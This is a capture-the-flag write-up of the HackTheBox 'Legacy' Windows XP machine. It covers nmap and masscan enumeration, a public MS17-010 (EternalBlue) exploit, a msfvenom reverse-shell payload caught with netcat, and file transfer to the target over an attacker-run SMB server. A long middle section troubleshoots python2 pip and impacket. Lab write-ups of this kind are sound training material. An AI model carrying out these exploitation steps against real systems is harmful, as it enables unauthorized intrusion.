HackTheBox — Legacy

Rated as ‘easy’ in HTB, and one of the good practice box along infosec journey. Let’s try to learn new things…

I added the IP on my /etc/hosts

Then I ran nmap port scan.

nmap -p- — stylesheet /opt/nmap-bootstrap-xsl/nmap-bootstrap.xsl -oA nmap/portScan legacy.htb

Note: — stylesheet flag was just for me to view the nmap result on firefox, refer to ippsec’s video on remote, I guess.

Alongside with nmap port scan, I also ran masscan to all ports, just for good measure.

masscan -i tun0 -p1–65535 — interactive 10.10.10.4

After I got all the ports available which are, ports 139 and 445, both SMB ports. I ran nmap detailed scan.

nmap -sV -sC -p139,445 -oA nmap/detailedScan — stylesheet /opt/nmap-bootstrap-xsl/nmap-bootstrap.xsl legacy.htb -vv

So, target box’s OS is Windows XP, hence, the name “Legacy”.

After the nmap detailed scan, I now ran autorecon by Tib3rius.

autorecon legacy.htb

Going through the results of autorecon, we don’t have much information to get. Right now, the information I have is that I am dealing with Windows XP and ports 139 and 445, perhaps I can check the version of it?

I fire up my metasploit and search for smb_version scanner, I key-in targets IP and let it run.

I got a more specific XP version, which is Windows XP Service Pack 3 (SP3) language : English.

I ran another nmap vulnerability scan.

nmap -p139,445 — script=*vuln*.nse — stylesheet /opt/nmap-bootstrap-xsl/nmap-bootstrap.xsl -oA nmap/vulnScript legacy.htb

Now, we got a possible exploit.

According to nmap vulnerability scan, machine is vulnerable against 2 CVEs, which are exploits that are available publicly.

1. MS08–067 in which according to metasploit…

is a net_api MS Server Service Relative Path Stack Corruption, maybe a stack-based buffer overflow attack?

2. MS17–010 is quite familiar to me, this is the “Eternal Blue” exploit

I remember when I was just starting on my infosec journey, I easily got excited when I learn I was dealing against a machine with ‘Eternal Blue’ exploit, I’ll immediately hop on msfconsole and fire-up eternal blue modules mindlessly.

However, since we would like to avoid Metasploit as much as possbile, let’s google for publicly available scripts which are not in metasploit.

Googling MS17–010… we can see that we have a lot of result, I choose exploit from helviojunior.

As we can see, our target machine’s OS is included in his exploit.

let’s git clone the exploit to our /opt directory.

Went inside the directory and run “send_and_execute.py”

However, I encountered an error which will consume my time more than the time I spent with the box…

I cannot run the script using python, since python doesn’t have impacket module..

Using python3 instead…

Led me to ‘version difference’ problem, I tried to fix the issue, but it keeps going on and on. Some of the python2 type implementation are not allowed in python3…

The Python Dilemma

This is not part of the box but I think that it is helpful to include what I have encountered here.

So, I would like to, as much as possible avoid metasploit framework against the machines, unfortunately I have these problems,

1. Public exploits that are available (eternal blue) against legacy systems, like Windows XP SP3, runs on python2. Though, python2 scripts can also run in python3, you will encounter syntax problems, modules and type errors, and for a script who has thousand of lines, you’ll waste a lot of time rewriting/fixing the script.
2. Python2 has reach EOL (end of life) thus, debian distro has discontinued the support for python2-pip in apt repository. Although, you can still install the ‘python3-pip’, again, back to no.1, the public exploit scripts are python2 compatible. Thus, I need to find a way to bring pip back to python 2 so I can install the impacket modules and other dependencies.

These sounds very easy, however, I spent more time troubleshooting my dilemma on python than my time on this box.

So, let’s begin on fixing my problem.

First, notice that every time I am installing impacket or doing anything using pip, it affects the ‘python3’ distro.

Since we need this to be inside of ‘python2’, I uninstall the python3-pip.

Notice on the picture above, it says that there’s no module pip now.

I tried forcing the pip call in python2 using ‘python -m pip — version’

Then I issued a curl command ‘curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py’

To download the get-pip.py.

Once I downloaded the file, I ran it under python2 using python get-pip.py.

However, it redirected me to to https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py

Then, by getting the pip on that URL, I successfully installed pip under python2 distro.

Now, let’s install impacket, I issued pip install impacket, However, I encountered an error about the ‘egg_info’

I was thinking that maybe, pip was reading my impacket on python3 distro, so I uninstall the impacket module in pip and in apt repo.

However, still not working.. I wasted a lot of time figuring out my way around this dilemma. I even downloaded an old version of impacket.

and tried to install it locally.

still won’t work… Now, the idea came like a light bulb in my head, what if I ‘manually’ copied the impacket directory to python2 path?

So, I checked the location of my python2 distro by issuing ‘pip — version’

I issued a copy command to copy the folder impacket to python2 distro.

cp -r impacket pip 20.3.4 from /usr/local/lib/python2.7/dist-packages/

and then it solve my problem, I installed the dependencies needed to run my public exploit using python2.

And that is how I made the legacy tools available in newer versions of Kali.

Since, we already resolved our problem about python2 and publicly available scripts. Let’s now pawn the box!

First, I created a payload, using msfvenom (I think this is allowed in OSCP, as long as, you won’t get a meterpreter shell?)

I set the payload to be ‘windows/shell_reverse_tcp’ the file type to be exe and named the output as rev_payload.exe

Then I fired up my netcat to catch the reverse shell.

I now ran my exploit I found from https://github.com/helviojunior/MS17-010.

And I got a shell!

Privilege Escalation

The first thing we do is to check, what privilege do we have. I tried to key-in ‘whoami’, but since our target was a legacy system, whoami.exe was not installed in the system.

I also tried to issue ‘echo %username%’, but won’t work.

So now, I need to find a way to put the binary whoami.exe, in this machine. I taught that, again, since this is a legacy system, powershell and certutil are not present inside to easily pull files from our kali.

I tried to set up an FTP server.. using python3 -m pyftpdlib -p21 — write

python3 -m pyftpdlib -p21 — write

and on our target machine, I issued an FTP command like…

but it doesn’t work.

Now, I tried to set-up an SMBServer on my Kali machine.

python3 /../../smbserver.py kali .

../../smbserver.py = path to your smbserver python script

kali = the name of directory you want to give, I chose kali

. = the directory you can to smbserver, perio (.) means, I want to run it on my present working directory.

and I issued a copy command on windows..

copy \\10.10.14.8\kali\whoami.exe c:\whoami.exe

execute the binary whoami.exe

and we have NT AUTHORITY\SYSTEM already.

We can now grab the flags.

Takeaways:

1. Legacy or obsolete systems, in reality, still exists. As our technology progresses, in terms of hardware and software, we still need to sharpen our tools and skills against those machines. They are good source of information and credentials for pivoting into the network of computers.
2. More often than not, legacy systems has already exploits that are publicly available, for me, it is good practice to search for exploit in public before spending time enumerating the system when dealing with “pretty old” machines.